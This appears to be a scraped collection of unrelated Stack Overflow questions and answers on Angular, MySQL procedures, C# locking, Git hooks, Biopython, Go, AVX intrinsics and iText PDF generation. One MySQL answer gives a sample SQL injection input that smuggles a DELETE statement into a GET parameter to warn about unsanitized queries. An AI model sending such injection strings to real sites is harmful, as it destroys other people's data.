&lt;xsd:import namespace="http://soft.com/" schemaLocation="my.xsd"/&gt; &lt;/xsd:schema&gt; &lt;/types&gt; &lt;message name="getLogs"&gt; &lt;part name="parameters" element="tns:getLogs"/&gt; &lt;/message&gt; &lt;message name="log"&gt; &lt;part name="parameters" element="tns:log"/&gt; &lt;/message&gt; &lt;portType name="LoggingWebService"&gt; &lt;operation name="getLogs"&gt; &lt;input message="tns:getLogs"/&gt; &lt;output message="tns:getLogsResponse"/&gt; &lt;/operation&gt; &lt;operation name="log"&gt; &lt;input message="tns:log"/&gt; &lt;/operation&gt; &lt;/portType&gt; &lt;/definitions&gt; </code></pre> <p>What XSLT file I need for this? Help me plz</p>
37434135	0	 <p>Checkout if this can be helpful: </p> <p><a href="https://github.com/google/material-design-icons" rel="nofollow">https://github.com/google/material-design-icons</a></p>
37571857	0	 <p>As @teleaziz suggested, you should do this only once. So such processing needs to be moved into the <code>karma-test-shim.js</code> file. Here is a sample:</p> <pre><code>System.import('@angular/platform-browser/src/browser/browser_adapter') .then(function(browser_adapter) { browser_adapter.BrowserDomAdapter.makeCurrent(); }) .then(function() { return Promise.all([ System.import('@angular/core/testing'), System.import('@angular/platform-browser-dynamic/testing/browser') ]); }) .then(function(modules) { var testing = modules[0]; var testingBrowser = modules[1]; testing.setBaseTestProviders( testingBrowser.TEST_BROWSER_DYNAMIC_PLATFORM_PROVIDERS, testingBrowser.TEST_BROWSER_DYNAMIC_APPLICATION_PROVIDERS); }) .then(function() { return Promise.all(resolveTestFiles()); }) .then(function() { __karma__.start(); }, function(error) { __karma__.error(error.stack || error); }); </code></pre>
40970335	0	Writing to virtual memory in Windows without writing back to disk <p>I have to deal with a huge amount of temporary data, which I don't wish to saved to disk wasting precious space. </p> <p>Instead, I want is that I keep the data in virtual memory so that the data is only on disk temporarilly and discard it once the processing has finished. </p> <p>Neither, 'Boost memory mapping' nor, 'Windows CreateFileMapping' works this way, and In both the cases the changes affect available disk space.</p> <p>Is there any way to get it done?</p>
19762320	0	 <p>Firstly, what this program is doing is instantiating a new thread from within your main method that prints text to the console.</p> <p>Now, the Thread class constructor accepts a class that implements the Runnable interface. We can supply a instance to the Thread constructor two ways. We can use a concrete class that implements Runnable or supply an Anonymous Inner Class. In this case you are doing the later.</p> <p>According to the Oracle Documentation on Anonymous inner classes. Anonymous classes enable you to make your code more concise. They enable you to declare and instantiate a class at the same time. They are like local classes except that they do not have a name. Use them if you need to use a local class only once.</p> <pre><code> new Thread(new Runnable() { public void run() { System.out.print("bar"); } }).start(); </code></pre> <p>So you can think of this as passing a class of the Runnable interface which satisfies the contract by overriding the run method and defining it within the constructor parameter.</p>
24541133	0	 <p>From your error message: <code>Duplicate entry '0' for key 'PRIMARY'</code></p> <p>I'm assuming id is your primary key. Make sure you have auto increment setup on this column and then just exclude the id field completely in the query.</p> <p>Right now your inserting a blank ID. Without strict enforcement, MySQL will convert an empty value to a 0 for an integer field. So you are trying to insert into ID 0 every time rather than creating a new row.</p> <p><strong>Dangers of your query</strong></p> <p>You are using unsanitized user input in your query (GET). GET, POST, REQUEST, and COOKIE variables should always be used with prepared queries.</p> <p>Right now I could load your url with something like <code>?name="'; DELETE FROM 49 WHERE 1;"</code> and wipe out your entire table. Research SQL injections and how to use MySQLi to make prepared queries.</p>
37784726	0	 <p>In my case problem was with Scheme.</p> <ul> <li>go to Product -> Scheme -> Edit Scheme</li> <li>click on Build</li> <li>add the Pods static library, and make sure it's at the top of the list</li> <li>clean and build again</li> </ul>
34530518	0	 <p>I don't think that it's possible from Code > Folding or using the icons from the left bar (collapse/expand), but you can do it in a harder way: manually.</p> <p>E.g.: </p> <ul> <li>select the try block</li> <li>Code > Folding > Fold Selection / Remove Section ( <kbd>Ctrl</kbd> + <kbd>Period</kbd>, where <kbd>Period</kbd> is the <kbd>.</kbd>)</li> <li>you'll see <code>...</code> instead of that block</li> <li>now that block also has the icons for collapse/expand on the left bar</li> </ul>
15072586	0	 <p>If you check the WSDL file for your web service, the parameter should have minOccurs=0. That's why the SOAPUI request put the optional comments there. </p> <p>Please use <code>@XmlElement(required=true)</code> to annotate your WebParam that is required.</p>
33950980	0	 <p>Right; let's see what we have here.</p> <p>First, the code has to be blocked as follows:</p> <pre><code>variable declarations cursor declarations handler declarations everything else </code></pre> <p>So your <code>DECLARE CURSOR c2</code> <em>must</em> appear between <code>DECLARE CURSOR c1</code> and <code>DECLARE CONTINUE HANDLER</code>. Also, you only need one <code>CONTINUE HANDLER</code> because it takes effect from the point of declaration to the end of the procedure.</p> <p>Next is the statement</p> <pre><code>INSERT INTO ip_ER_subtotal SELECT Starting_Pitcher, Game_Date, Game_Number, innings_pitched, 0.0 FROM starting_pitchers_game_log; </code></pre> <p>The named columns in the <code>SELECT</code> clause are the columns you're <em>selecting from,</em> <strong>not</strong> the ones you're <em>inserting into,</em> so they have to be columns in the table <code>starting_pitchers_game_log</code>. Also, since the columns not being copied from <code>starting_pitchers_game_log</code> (that is, <code>ip_total</code>, <code>er_total</code> and <code>era</code>) all have default values, you could use a column list on the <code>INSERT</code> statement, like so:</p> <pre><code>INSERT INTO pitcher_stats_temp (Starting_Pitcher, Game_Date, Game_Number, innings_pitched, er) SELECT pitcher_id, game_date, game_seq, innings_pitched, runs FROM starting_pitchers_game_log; </code></pre> <p>This saves typing, documents which columns you're actually inserting values into and insulates your <code>INSERT</code> statement from the physical order of columns in the source and target tables.</p> <p>Next, once you finish the <code>CURSOR c1</code> loop, <strong>don't truncate the table</strong> or you'll lose all the work you've just done! <code>TRUNCATE TABLE</code> deletes all rows currently in the table, and is used here to clear out the results of the previous run.</p> <p>Finally, the two loops have to have different labels, say <code>fetch_loop_1</code> and <code>fetch_loop_2</code>. You would also need to reset <code>accum</code> and <code>end_of_cursor</code> before entering the second loop. However, in this case I believe we can do everything in one loop with one cursor, which makes the code simpler and thus easier to maintain.</p> <p>Here's the complete procedure:</p> <pre><code>DROP PROCEDURE IF EXISTS pitcher_stats_era; DELIMITER $$ CREATE PROCEDURE pitcher_stats_era() BEGIN DECLARE pit_id CHAR(10); DECLARE gdate DATE; DECLARE seq INT; DECLARE in_pit REAL; DECLARE er INT; DECLARE accum_ip REAL; DECLARE accum_er INT; DECLARE earned_run_avg REAL; DECLARE prev_year YEAR(4); DECLARE end_of_cursor BOOLEAN; DECLARE no_table CONDITION FOR SQLSTATE '42S02'; DECLARE c1 CURSOR FOR SELECT pitcher_id, game_date, game_seq, innings_pitched, earned_runs FROM pitcher_stats_temp ORDER BY pitcher_id, game_date, game_seq; DECLARE CONTINUE HANDLER FOR NOT FOUND SET end_of_cursor := TRUE; DECLARE EXIT HANDLER FOR no_table BEGIN SIGNAL no_table SET MESSAGE_TEXT = "Work table not initialized. Please call pitcher_stats_reset() before continuing", MYSQL_ERRNO = 1146; END; ------------------------------------------------------------------ -- The following steps are now performed by pitcher_stats_reset() ------------------------------------------------------------------ -- TRUNCATE TABLE ip_subtotal; -- Clear our work table for a new run -- Copy data from main table into work table -- INSERT INTO ip_subtotal -- (pitcher_id, game_date, game_seq, innings_pitched, earned_runs) -- SELECT pitcher_id, game_date, game_seq, -- IFNULL(innings_pitched, 0), -- replace NULL with 0, if -- IFNULL(runs, 0) -- column not initialized -- FROM starting_pitchers_game_log; --------------------------------------------------------------------- SET end_of_cursor := FALSE; -- reset SET prev_year := 0; -- reset control-break OPEN c1; fetch_loop: LOOP FETCH c1 INTO pit_id, gdate, seq, in_pit, er; IF end_of_cursor THEN LEAVE fetch_loop; END IF; -- check control-break conditions IF YEAR(gdate) != prev_year THEN SET accum_ip := 0.0; SET accum_er := 0; SET prev_year := YEAR(gdate); END IF; SET accum_ip := accum_ip + in_pit; SET accum_er := accum_er + er; IF accum_er = 0 THEN -- prevent divide-by-zero SET earned_run_avg := 0; ELSE SET earned_run_avg := (accum_ip / accum_er) * 9; END IF; UPDATE pitcher_stats_temp SET ip_total = accum_ip, er_total = accum_er, std_era = earned_run_avg WHERE pitcher_id = pit_id AND game_date = gdate AND game_seq = seq; END LOOP; CLOSE c1; END $$ DELIMITER ; </code></pre> <p>That should do the job. If anyone finds a bug, by all means please point it out.</p> <p>EDIT: I've just added some code to illustrate how to protect against nulls coming from the source table, and how to avoid a divide-by-zero on the ERA calculation.</p> <p>EDIT: I've changed back to my original column and table names in order to reduce my own confusion.</p> <p>EDIT: Code changed to be consistent with the answer to <a href="http://stackoverflow.com/questions/33988958/how-can-i-add-a-column-to-a-work-table-using-a-new-stored-procedure">How can I add a column to a work table using a new stored procedure</a></p>
4705427	0	 <p>Here is some quick'n'dirty code I could come up with. I will refine this, but as a POC this works...</p> <pre><code>public class PrioritisedLock { private List&lt;CountdownEvent&gt; waitQueue; //wait queue for the shared resource private Semaphore waitQueueSemaphore; //ensure safe access to wait queue itself public PrioritisedLock() { waitQueue = new List&lt;CountdownEvent&gt;(); waitQueueSemaphore = new Semaphore(1, 1); } public bool WaitOne(int position = 0) { //CountdownEvent needs to have a initial count of 1 //otherwise it is created in signaled state position++; bool containsGrantedRequest = false; //flag to check if wait queue still contains object which owns the lock CountdownEvent thisRequest = position&lt;1 ? new CountdownEvent(1) : new CountdownEvent(position); int leastPositionMagnitude=Int32.MaxValue; waitQueueSemaphore.WaitOne(); //insert the request at the appropriate position foreach (CountdownEvent cdEvent in waitQueue) { if (cdEvent.CurrentCount &gt; position) cdEvent.AddCount(); else if (cdEvent.CurrentCount == position) thisRequest.AddCount(); if (cdEvent.CurrentCount == 0) containsGrantedRequest = true; } waitQueue.Add(thisRequest); foreach (CountdownEvent cdEvent in waitQueue) if (cdEvent.CurrentCount &lt; leastPositionMagnitude) leastPositionMagnitude = cdEvent.CurrentCount; //If nobody holds the lock, grant the lock to the current request if (containsGrantedRequest==false &amp;&amp; thisRequest.CurrentCount == leastPositionMagnitude) thisRequest.Signal(leastPositionMagnitude); waitQueueSemaphore.Release(); //now do the actual wait for this request; if it is already signaled, it ends immediately thisRequest.Wait(); return true; } public int Release() { int waitingCount = 0, i = 0, positionLeastMagnitude=Int32.MaxValue; int grantedIndex = -1; waitQueueSemaphore.WaitOne(); foreach(CountdownEvent cdEvent in waitQueue) { if (cdEvent.CurrentCount &lt;= 0) { grantedIndex = i; break; } i++; } //remove the request which is already fulfilled if (grantedIndex != -1) waitQueue.RemoveAt(grantedIndex); //find the wait count of the first element in the queue foreach (CountdownEvent cdEvent in waitQueue) if (cdEvent.CurrentCount &lt; positionLeastMagnitude) positionLeastMagnitude = cdEvent.CurrentCount; //decrement the wait counter for each waiting object, such that the first object in the queue is now signaled foreach (CountdownEvent cdEvent in waitQueue) { waitingCount++; cdEvent.Signal(positionLeastMagnitude); } waitQueueSemaphore.Release(); return waitingCount; } } </code></pre> <p>}</p>
23620004	0	How can I select a specific jquery element value from inside a loop? <p>I am trying to put a string value in an array based on their position in relation to all of the elements with a class name. I get an array of the indexes that I want to use now I want to use each of the index values to select the appropriate value. </p> <pre><code>$(function () { $("#date").datepicker(); $('input[name=date]').datepicker(); var dateInput = $("select[name='searchString']"); var theClassTime = $("input.TextBoxDate"); var checkedindex = []; var classday = []; $("input[name='selectedCourses']").each(function (i) { if (this.checked) { // this works fine checkedindex.push(parseInt(i)); // this is where I’m trying to select values based on index. var dayofclass = $(".TextBoxDate:eq(" + checkedindex[i] + ")"); classday.push(dayofclass); alert(classday); } }); }); </code></pre> <p>Say checkedindex has values: 2,3,9 meaning at index 0 of checkedindex is 2, at 1=3 and at 2=9. I want to use 2, 3 and 9 to do something like this:</p> <pre><code>var dayofclass = $(".TextBoxDate:eq(" + checkedindex[i] + ")"); </code></pre> <p>What am I doing wrong here?</p>
34432416	0	 <p>You can do something like as</p> <pre><code>$get = "19 March"; $given_date = "01 January 2010"; $date_month = date('d F',strtotime($given_date)); $year = date('Y',strtotime($given_date)); if(strtotime($given_date) - strtotime($date_month) &lt; 0){ echo date('l,d F Y',strtotime("$get $year")); }else{ echo date('l,d F Y',strtotime("$get ".($year+1))); } </code></pre>
24355862	0	 <p>You <em>are</em> looping through the arrays. The <code>puts</code> function on its own just makes that difficult to see. Try this:</p> <pre><code>arrays = [[1, 52], [30, 1], [2, 1]] arrays.each do |array| puts array.inspect end </code></pre> <p>Output:</p> <pre><code>[1, 52] [30, 1] [2, 1] </code></pre> <hr> <p>See also:</p> <pre><code>puts [1, 2, 3] </code></pre> <p>Output:</p> <pre><code>1 2 3 </code></pre>
6287258	0	 <p>Few points:</p> <ul> <li><p>Make sure you have git.exe on path. Do a <code>where git</code> and you must get something like </p> <pre><code>C:\Program Files (x86)\Git\bin\git.exe </code></pre> <p>If git.cmd is being used ( from C:\Program Files (x86)\Git\cmd\git.cmd ), you have to do <code>call git pull</code> for it to continue execution. I would say add <code>git.exe</code> to path and start using it.</p></li> <li><p>Even on Windows, you must have the shebang - <code>#!/bin/sh</code> for the hooks to properly run.</p></li> <li><p>If you want a hook to run on pull, you probably want to use the <code>post-merge</code> hook. <code>post-receive</code> and <code>post-update</code> run on remote repos when you push to them.</p></li> </ul>
22484993	0	 <p>Using <code>NeighborSearch</code> is definitely the right idea - it constructs a <a href="https://en.wikipedia.org/wiki/K-d_tree" rel="nofollow">k-d tree</a>, which performs very fast lookups on nearest neighbors.</p> <p>If you have just a few residues to search around, I would use the <a href="http://www.biopython.org/DIST/docs/api/Bio.PDB.NeighborSearch.NeighborSearch-class.html#search" rel="nofollow"><code>search()</code></a> method on those residues' atoms (perhaps just their CA atoms for speed). This will be more efficient than using <code>search_all()</code> then filtering. I'll answer your two questions, then provide a complete solution at the bottom.</p> <hr> <blockquote> <p>How can I just create the atom_list using CA atoms only?</p> </blockquote> <p>You can either use <a href="http://docs.python.org/2.7/library/functions.html#filter" rel="nofollow"><code>filter</code></a>, or a list comprehension (I think list comprehensions are more readable):</p> <pre><code>atom_list = [atom for atom in structure.get_atoms() if atom.name == 'CA'] </code></pre> <hr> <blockquote> <p>Second, is <code>residuepair[0].id[1]</code> the correct way of generating the residue numbers (it works but is there a method to get this)?</p> </blockquote> <p>This is definitely the right approach. <em>However</em> (and this is a significant caveat), note that this will not handle residues with <a href="http://deposit.rcsb.org/adit/docs/pdb_atom_format.html#ATOM" rel="nofollow">insertion codes</a>. Why not deal with the <code>Residue</code> objects themselves?</p> <hr> <p>My code:</p> <pre><code>from Bio.PDB import NeighborSearch, PDBParser, Selection structure = PDBParser().get_structure('X', "1xxx.pdb") chain = structure[0]['A'] # Supply chain name for "center residues" center_residues = [chain[resi] for resi in [100, 140, 170, 53]] center_atoms = Selection.unfold_entities(center_residues, 'A') atom_list = [atom for atom in structure.get_atoms() if atom.name == 'CA'] ns = NeighborSearch(atom_list) # Set comprehension (Python 2.7+, use `set()` on a generator/list for &lt; 2.7) nearby_residues = {res for center_atom in center_atoms for res in ns.search(center_atom.coord, 10, 'R')} # Print just the residue number (WARNING: does not account for icodes) print sorted(res.id[1] for res in nearby_residues) </code></pre>
40420177	0	 <p>There's not really well defined method of doing this - it's more of a manual task, defining how to transform the data. A form of ETL (Extract, Transform and Load) as it were.</p> <p>Start with your base tables and write some insert statements to get the core data in there, transformed as applicable. Then move onto the "next level" of related data and repeat until all of your info is copied over.</p> <p>Note that often times the new, ideal schema cannot be fully implemented (with all constraints, etc) with the legacy database as some pieces of information may be missing. In these cases you have to either a) generate the data as required during the load, or b) turn off constraints so you can load the legacy data until such data is cleaned up enough to enforce them.</p> <p>All in all, it's a very per-scenario type of thing that tends to be handled manually in most cases. To the best of my knowledge, anyway.</p> <p>Finally, it's been a while since I worked with MySQL, but most database engines allow for two-part naming of some sort, so you can access two separate databases (on the same server) from within a single script, so your insert statements might end up looking like this:</p> <pre><code>INSERT INTO newdb.newtable (thisfield, thatfield) SELECT thisfield, thatfield FROM olddb.oldtable; </code></pre> <p>(with applicable transformations applied, of course)</p>
18526985	0	jquery single each() function for both radio and checkboxes <p>I'm having requirement that to check each radio button and checkbox of same div that was checked/unchecked. I tried this and found some what uneasy to have too separate loops.</p> <pre><code> { $('#div1 input[type=radio]').each(...); } </code></pre> <p>and </p> <pre><code> { $('#div1 input[type=CHECKBOX]').each(...); } </code></pre> <p>Instead of calling 2 methods, how can I use single each function for both types?</p> <pre><code> { //Like $('#div input[type=radio || CHECKBOX]') } </code></pre>
92941	0	 <p>It's just a convention. Structs can be created to hold simple data but later evolve time with the addition of member functions and constructors. On the other hand it's unusual to see anything other than public: access in a struct.</p>
37813940	0	 <p>You need to set :</p> <pre><code>tableView.rowHeight = UITableViewAutomaticDImension </code></pre> <p>and </p> <pre><code>tableView.estimatedRowHeight = 44.0 </code></pre>
40859730	0	create .ipa using command line tool with dynamic app icon <p>I want to create an <code>.ipa</code> file for an iOS project with different base URL, app icon images and splash images using command line tool or else.</p> <p>Is it feasible by which we can change app icons and splash images from some uploaded directories.</p> <p>Like an admin panel, in which a table is shown where multiple sizes of app icon images can be upload and same as splash.</p> <p>And there will be button to create IPA for a project.</p>
23502087	0	 <p>We ran into this and after a lot of time trying to debug, I came across this: <a href="https://code.google.com/p/go/source/detail?r=d4e1ec84876c" rel="nofollow">https://code.google.com/p/go/source/detail?r=d4e1ec84876c</a></p> <blockquote> <p>This shifts the burden onto clients to read their whole response bodies if they want the advantage of reusing TCP connections.</p> </blockquote> <p>So be sure you read the entire body before closing, there are a couple of ways to do it. This function can come in handy to close to let you see whether you have this issue by logging the extra bytes that haven't been read and cleaning the stream out for you so it can reuse the connection:</p> <pre><code>func closeResponse(response *http.Response) error { // ensure we read the entire body bs, err2 := ioutil.ReadAll(response.Body) if err2 != nil { log.Println("Error during ReadAll!!", err2) } if len(bs) &gt; 0 { log.Println("Had to read some bytes, not good!", bs, string(bs)) } return response.Body.Close() } </code></pre> <p>Or if you really don't care about the body, you can just discard it with this:</p> <pre><code>io.Copy(ioutil.Discard, response.Body) </code></pre>
20193771	0	 <p>From error description you provided I can see that:</p> <p>During linking phase for Intel 64bit architecture _OBJC_CLASS_$MYFramework symbol was not found. Which is quite strange as you sure you compiling for arm architecture. Maybe you should revise Makefiles of your framework?</p> <p>Have a look <a href="http://stackoverflow.com/questions/18913906/xcode-5-and-ios-7-architecture-and-valid-architectures">here</a> Shell you make target IOS7 32bit?</p>
32050895	0	 <p>This may help.</p> <pre><code>import re string = 'account_id 37318 not found' match = re.search(r'\baccount_id\b.*?\bnot found\b',string) if match: print 'Do something' else: print 'Do nothing' </code></pre> <p>Let me know if it helps :).</p>
6761975	0	 <p>You could do it like this</p> <pre><code>sed -ne '/$engineinfo = engine_getinfo();/a\'$'\n''$engineinfo['engine']="asterisk";\'$'\n''$engineinfo['version']="1.6.2.11";'$'\n'';p' /var/lib/asterisk/bin/retrieve_conf </code></pre> <p>Add <code>-i</code> for modification in place once you confirm that it works.</p> <p>What does it do and how does it work?</p> <p>First we tell sed to match a line containing your string. On that matched line we then will perform an <code>a</code> command, which is "append text". </p> <p>The syntax of a sed <code>a</code> command is</p> <pre><code>a\ line of text\ another line ; </code></pre> <p>Note that the literal newlines are part of this syntax. To make it all one line (and preserve copy-paste ability) in place of literal newlines I used <code>$'\n'</code> which will tell bash or zsh to insert a real newline in place. The quoting necessary to make this work is a little complex: You have to exit single-quotes so that you can have the <code>$'\n'</code> be interpreted by bash, then you have to re-enter a single-quoted string to prevent bash from interpreting the rest of your input.</p> <p>EDIT: Updated to append both lines in one append command.</p>
35945228	0	Find 4 minimal values in 4 __m256d registers <p>I cannot figure out how to implement:</p> <pre><code>__m256d min(__m256d A, __m256d B, __m256d C, __m256d D) { __m256d result; // result should contain 4 minimal values out of 16 : A[0], A[1], A[2], A[3], B[0], ... , D[3] // moreover it should be result[0] &lt;= result[1] &lt;= result[2] &lt;= result[2] return result; } </code></pre> <p>Any ideas of how to use <code>_mm256_min_pd</code>, <code>_mm256_max_pd</code> and shuffles/permutes in a smart way?</p> <p>==================================================</p> <p>This where I got so far, after:</p> <pre><code> __m256d T = _mm256_min_pd(A, B); __m256d Q = _mm256_max_pd(A, B); A = T; B = Q; T = _mm256_min_pd(C, D); Q = _mm256_max_pd(C, D); C = T; D = Q; T = _mm256_min_pd(B, C); Q = _mm256_max_pd(B, C); B = T; C = Q; T = _mm256_min_pd(A, B); Q = _mm256_max_pd(A, B); A = T; D = Q; T = _mm256_min_pd(C, D); Q = _mm256_max_pd(C, D); C = T; D = Q; T = _mm256_min_pd(B, C); Q = _mm256_max_pd(B, C); B = T; C = Q; </code></pre> <p>we have : A[0] &lt; B[0] &lt; C[0] &lt; D[0], A[1] &lt; B[1] &lt; C[1] &lt; D[1], A[2] &lt; B[2] &lt; C[2] &lt; D[2], A[3] &lt; B[3] &lt; C[3] &lt; D[3],</p> <p>so the minimal value is among A's, second minimal is among A's or B's, ... Not sure where to go from there ...</p> <p>========================================================</p> <p>Second idea is that the problem is reducible to itself, but with 2 input __m256 elements. If this can be done, then just do min4(A,B) --> P, min4(C,D) --> Q, min4(P,Q) --> return value.</p> <p>No idea how to that for two vectors though :)</p> <p>=======================================================================</p> <p>Update 2 : problem almost solved -- the following function computes 4 minimal values.</p> <pre><code>__m256d min4(__m256d A, __m256d B, __m256d C, __m256d D) { __m256d T; T = _mm256_min_pd(A, B); B = _mm256_max_pd(A, B); B = _mm256_permute_pd(B, 0x5); A = _mm256_min_pd(T, B); B = _mm256_max_pd(T, B); B = _mm256_permute2f128_pd(B, B, 0x1); T = _mm256_min_pd(A, B); B = _mm256_max_pd(A, B); B = _mm256_permute_pd(B, 0x5); A = _mm256_min_pd(A, B); T = _mm256_min_pd(C, D); D = _mm256_max_pd(C, D); D = _mm256_permute_pd(D, 0x5); C = _mm256_min_pd(T, D); D = _mm256_max_pd(T, D); D = _mm256_permute2f128_pd(D, D, 0x1); T = _mm256_min_pd(C, D); D = _mm256_max_pd(C, D); D = _mm256_permute_pd(D, 0x5); C = _mm256_min_pd(C, D); T = _mm256_min_pd(A, C); C = _mm256_max_pd(A, C); C = _mm256_permute_pd(C, 0x5); A = _mm256_min_pd(T, C); C = _mm256_max_pd(T, C); C = _mm256_permute2f128_pd(C, C, 0x1); T = _mm256_min_pd(A, C); C = _mm256_max_pd(A, C); C = _mm256_permute_pd(C, 0x5); A = _mm256_min_pd(A, C); return A; }; </code></pre> <p>All that remains is to sort the values in increasing order inside A before return.</p>
11585955	0	 <p>Ideally you have a static and perhaps a non-static <code>create()</code> functions. There is a clever way to accomplish this.</p> <ol> <li><p>Define a <code>SuperBase</code> class. It needs a virtual destructor and a pure virtual <code>create()</code> function. You'll use pointers/references to this class for normal late-binding OOP behaviours.</p></li> <li><p>Define a <code>Base</code> class template that inherits from <code>SuperBase</code>. <code>Base</code>'s template parameter will be the type of the <code>Derived</code> class. <code>Base</code> will also have a traits class template with a static function called <code>create()</code>. This static <code>create()</code> function will create a default object with <code>new</code>. Using the trait's <code>create()</code> function, <code>Base</code> will define both a <code>static_create()</code> and the pure virtual <code>SuperBase::create()</code> functions.</p></li> <li><p>Implement <code>Derived</code> by inheriting from <code>Base&lt;Derived&gt;</code>.</p></li> </ol> <p>One this is done, if you know you are using a derived type, then you can write <code>Derived::create()</code> to statically create a new one. If not, then you can always use an instance's <code>create()</code> method. Polymorphism is not broken since <code>SuperBase</code> would have the polymorphic interface you need/want --<code>Base&lt;D&gt;</code> is simply a helper class that auto defines the <code>static_create()</code> and <code>create()</code> functions so you would not normally use <code>Base&lt;D&gt;</code> directly.</p> <p>Sample code appears below:</p> <pre><code>#include &lt;memory&gt; #include &lt;iostream&gt; class SuperBase { public: virtual ~SuperBase() = default; virtual std::shared_ptr&lt;SuperBase&gt; create() const = 0; }; template &lt;typename T&gt; struct Base_Traits { static T* create() { return new T; } }; template &lt;typename Derived, typename Traits=Base_Traits&lt;Derived&gt;&gt; class Base : public SuperBase { public: // Define a static factory function... static std::shared_ptr&lt;SuperBase&gt; static_create() { return std::shared_ptr&lt;SuperBase&gt;{Traits::create()}; } // Define pure virtual implementation... std::shared_ptr&lt;SuperBase&gt; create() const override { return static_create(); } }; class Derived : public Base&lt;Derived&gt; { }; int main() { auto newone = Derived::static_create(); // Type known @ compile time auto anotherone = newone-&gt;create(); // Late binding; type not known @ compile time } </code></pre>
40710336	0	 
2380518	0	 <p>I'm not sure I understand the question correctly so forgive me if my answer is off. From what I understand you want to send non-POD datatypes using MPI. </p> <p>A library that can do this is <a href="http://www.boost.org/doc/libs/1_42_0/doc/html/mpi.html" rel="nofollow noreferrer">Boost.MPI</a>. It uses a serialization library to send even very complex data structures. There is a catch though: you will have to provide code to serialize the data yourself if you use complicated structures that Boost.Serialize does not already know about.</p> <p>I believe message passing is typically used to transmit POD datatypes.</p> <p>I'm not allowed to post more links so here is what I wanted to include:</p> <p>Explanation of POD: www.fnal.gov/docs/working-groups/fpcltf/Pkg/ISOcxx/doc/POD.html</p> <p>Serialization Library: www.boost.org/libs/serialization/doc</p>
13159428	0	 <p>Note that <strong>armv6</strong> was deprecated when iPhone 5 go out.</p> <blockquote> <p><strong>Xcode 4.5</strong> doesn't permit you to buil an ipa for armv6 devices (iphone 3G), only for armv7 and armv7s.<br> And <strong>Xcode &lt; 4.5</strong> doesn't permit you to build an armv7s... How you can made it all toghether?</p> </blockquote> <p>The sync error come on iphone 3G? If yes, it's normal, your ipa is not compatible with this phone...</p>
21045496	0	 <p>The output will be :</p> <pre><code> /url/absolute/depending.on.urls.py </code></pre> <p>To use it with an "a" just do :</p> <pre><code>&lt;a href="{% url 'polls:detail' poll.id %}"&gt;Poll {{ poll.id }}&lt;/a&gt; </code></pre>
33170208	0	ng-attr where the attribute has a dash <p>I need to use angular to evaluate an attribute value. The catch is that this attribute value has a dash (-).</p> <p>In short, I need:</p> <pre><code>&lt;div ng-attr-my-attribute="{{5+5}}"&gt;&lt;/div&gt; </code></pre> <p>To render into:</p> <pre><code>&lt;div my-attribute="10"&gt;&lt;/div&gt; </code></pre> <p>What actually happens is the DOM just shows this verbatim:</p> <pre><code>&lt;div ng-attr-my-attribute="{{5+5}}"&gt;&lt;/div&gt; </code></pre> <p>I feel like I need to use ng-attr because when I don't, for example:</p> <pre><code>&lt;div my-attribute="{{5+5}}"&gt;&lt;/div&gt; </code></pre> <p>renders exactly as:</p> <pre><code>&lt;div my-attribute="{{5+5}}"&gt;&lt;/div&gt; </code></pre> <p>Using angular 1.4.1</p> <p>Question: How to use <code>ng-attr</code> with an attribute that has a dash in it? </p>
29092910	0	itext pdf PageSize.LEGAL_LANDSCAPE.rotate() does not print <p>I have created a program to write pdf having two page, first page is portrait and second one is landscape. It creates pdf but when I print that file it does not print second page i.e. landscape page.</p> <p>Below is my code</p> <pre><code>/******************/ import com.itextpdf.text.Document; import com.itextpdf.text.DocumentException; import com.itextpdf.text.Element; import com.itextpdf.text.PageSize; import com.itextpdf.text.Paragraph; import com.itextpdf.text.pdf.PdfWriter; import java.io.FileNotFoundException; import java.io.FileOutputStream; public class TestPDF { public static void main(String args[]) throws DocumentException, FileNotFoundException { Document document = new Document(); PdfWriter.getInstance(document, new FileOutputStream("/home/devang/test.pdf")); document.setMargins(10.0f, 10.0f, 20.0f, 2.0f); document.open(); //PAGE1 addFirstPage(document); //PAGE2 addSecondPage(document); document.close(); } public static Document addFirstPage(Document document) throws DocumentException { document.addTitle("Test PDF"); Paragraph paragraph = new Paragraph(); paragraph.setAlignment(Element.ALIGN_CENTER); paragraph.add("Page 1"); paragraph.add("\nPage 1"); paragraph.add("\nPage 1"); paragraph.add("\nPage 1"); paragraph.add("\nPage 1"); document.add(paragraph); return document; } public static Document addSecondPage(Document document) throws DocumentException { document.setPageSize(PageSize.LEGAL_LANDSCAPE.rotate()); document.newPage(); document.addTitle("Test PDF"); Paragraph paragraph = new Paragraph(); paragraph.setAlignment(Element.ALIGN_CENTER); paragraph.add("Page 2"); paragraph.add("\nPage 2"); paragraph.add("\nPage 2"); paragraph.add("\nPage 2"); paragraph.add("\nPage 2"); document.add(paragraph); return document; } } </code></pre> <p>Thanks in advance.</p>
33098060	0	 <p>You can get column in string by following static method and appending row number to result column String</p> <pre><code>ColString= CellReference.convertNumToColString(columnIdex) </code></pre>
30544241	0	$http.get method of angularJS doesnot accept 5th parameter in URL string <p>i am developing mobile application in cordova+angularJS in ionic framework. I am trying to send parameters in the get request body that is probably the request to get specific data based on input parameters. My query string is this:</p> <pre><code>var queryString = base_url + "get/requestChartData.php?userid=" + window.localStorage.userid + "&amp;token=" + token + "&amp;formid=" + formID + "&amp;questionid=" + questionID + "&amp;chart=" + chartType; $http.get(queryString, {}).success(function (data, status, headers, config) { ..... ... </code></pre> <p>This request when i send to the server where PHP handles the request, send me back response as <code>&lt;b&gt;Notice&lt;/b&gt;: Undefined index: chart in....</code></p> <p>and even on my firebug debugging console, on the get request link when i expand, it shows me only four parameters instead of five.</p> <p>is there any limit of sending number of parameters in the get request as a query string???</p> <p>at PHP side i am doing this:</p> <pre><code>$userid = trim($_REQUEST['userid']); $formid = trim($_REQUEST['formid']); $fieldName = trim($_REQUEST['questionid']); $chartType = trim($_REQUEST['chart']); $token = trim($_REQUEST['token']); </code></pre> <p>i am not getting this one any resolution to it????</p>
18261260	0	 <p>You can use one of the following.</p> <pre><code>expr length "$*" echo "$*" | awk '{print length}' </code></pre>
